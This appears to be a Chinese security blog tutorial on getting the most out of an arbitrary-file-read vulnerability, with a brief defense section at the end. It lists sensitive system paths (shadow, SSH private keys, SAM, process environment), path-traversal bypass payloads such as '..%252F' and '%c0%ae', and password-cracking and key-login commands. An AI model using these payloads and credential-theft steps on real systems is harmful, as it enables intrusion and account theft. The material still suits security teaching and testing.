任意文件读取漏洞后的深入利用姿势
当我们遇到任意文件读取漏洞时,需要思考如何通过这一小点扩大战果,达到最大化利用的目的。本文主要介绍在拿到任意文件读取点后的深入利用姿势,涵盖敏感文件路径、绕过思路、凭证提取及防御建议。
任意文件读取漏洞允许攻击者访问服务器上的敏感文件。详细列举了 Windows 和 Linux 系统下常见的敏感文件路径,包括配置文件、日志、密钥及历史命令记录。内容涵盖绕过过滤技巧(如 URL 编码、空字节注入)、凭证提取方法(SSH 私钥、Shadow 密码破解)以及源码泄露分析。此外,补充了针对各类 Web 中间件的配置读取路径,并提供了相应的防御建议,帮助安全人员全面理解该漏洞的利用链与防护策略。

当我们遇到任意文件读取漏洞时,需要思考如何通过这一小点扩大战果,达到最大化利用的目的。本文主要介绍在拿到任意文件读取点后的深入利用姿势,涵盖敏感文件路径、绕过思路、凭证提取及防御建议。
C:\boot.ini // 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml // IIS 配置文件
C:\Windows\repair\sam // 存储系统初次安装的密码
C:\Program Files\mysql\my.ini // MySQL 配置
C:\Program Files\mysql\data\mysql\user.MYD // MySQL root
C:\Windows\php.ini // PHP 配置信息
C:\Windows\my.ini // MySQL 配置信息
/root/.ssh/authorized_keys // 如需登录到远程主机,需将 id_rsa.pub 内容复制进去
/root/.ssh/id_rsa // SSH 私钥
/root/.ssh/id_rsa.keystore // 记录每个访问计算机用户的公钥
/root/.ssh/known_hosts // OpenSSH 会核对公钥,避免 DNS Hijack 攻击
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf // MySQL 配置文件
/etc/httpd/conf/httpd.conf // Apache 配置文件
/etc/redhat-release // 系统版本
/root/.bash_history // 用户历史命令记录文件
/root/.mysql_history // MySQL 历史命令记录文件
/var/lib/mlocate/mlocate.db // 全文件路径索引
/proc/self/fd/[0-9]* // 文件标识符
/proc/mounts // 记录系统挂载设备
/proc/config.gz // 内核配置文件
/proc/self/cmdline // 当前进程的 cmdline 参数
/proc/sched_debug // 查看当前运行的进程及 PID
/proc/pid/cmdline // 对应 PID 进程的完整命令行
/proc/net/fib_trie // 内网 IP
/proc/self/environ // 环境变量
/proc/self/loginuid // 当前用户
当存在过滤机制时,可以尝试以下绕过方法:
%2F 代替 /,例如 ?filename=..%2F..%2Fetc%2Fpasswd。%25 进行二次编码,例如 ?filename=..%252F..%252Fetc%2Fpasswd。?filename=.+./bin/redacted.dll。%00 截断路径,例如 ?filename=./file.php%00.jpg。%c0%ae 代替 .,例如 ?filename=%c0%ae%c0%ae/etc/passwd。.bash_history
.zsh_history
.psql_history
.mysql_history
.profile
.bashrc
.gitconfig
.viminfo
任意文件读取 /etc/passwd 可提取用户名,结合历史命令文件(如 ../../root/.bash_history)可发现密码、路径、配置文件路径等敏感信息。若需下载大文件(如日志、war 包),建议使用 wget 而非直接浏览器下载。
/root/.ssh/id_rsa # 私钥
/root/.ssh/authorized_keys # 公钥存储文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
若私钥未设密码保护,可直接获取并用于登录服务器,或使用 Xshell 等工具选择证书登录:
ssh -i id_rsa root@IP 地址
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
格式为 用户名:口令:UID:GID:注释:主目录:登录 Shell,可查看哪些用户可以登录。
/etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
$id$salt$密文
ID 代表加密算法,Salt 是盐值,最后是密文。若密码字符串为 * 表示不可登入,! 表示禁用,空字符串表示无密码。
破解方法:
unshadow /etc/passwd /etc/shadow > test_passwd
john --wordlist=/usr/share/john/password.lst test_passwd
mlocate.db 数据库存储了本地所有文件的配置信息。利用 locate 命令可输出包含特定关键字的路径:
locate mlocate.db config
locate mlocate.db webapps
locate mlocate.db www
获取路径后可进一步挖掘敏感信息和系统漏洞。
通过全路径或其他途径读取关键源码:
WEB-INF/web.xml,进一步读取 class 文件,反编译得到源码。获取网站相关配置信息,包括站点配置、数据库配置等:
/WEB-INF/web.xml, /WEB-INF/classes/applicationContext.xml, core.jar (Shiro 站点可直接搜索 Base64.decode 找 key)。/usr/local/tomcat/conf/tomcat-users.xml/www/nginx/conf/nginx.conf, /etc/nginx/nginx.conf/etc/httpd/conf/httpd.conf, /etc/apache2/apache2.conf/etc/redis.conf/etc/ssh/sshd_config利用日志文件获取后台地址、API 接口、备份等敏感信息:
/webapps/ROOT/logs/catalina.out/var/log/apache2/access.log, /var/log/apache2/error.log/var/log/nginx/access.log, /var/log/nginx/error.log管理员有时为了方便,会在桌面存储敏感文件。可通过 fuzz 文件名(如 1.txt, password.txt, pass.txt 等)进一步扩大战果。
为了减少任意文件读取风险,建议采取以下措施:
../ 等相对路径跳转。在漏洞利用层面,除了关注一键 RCE,也应思考其他类型漏洞的最大化利用。当一个微小的漏洞和神奇的思路碰撞在一起,往往能产生意想不到的效果。记住,发散思维,让漏洞发挥出最大的价值,同时注重安全防护建设。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online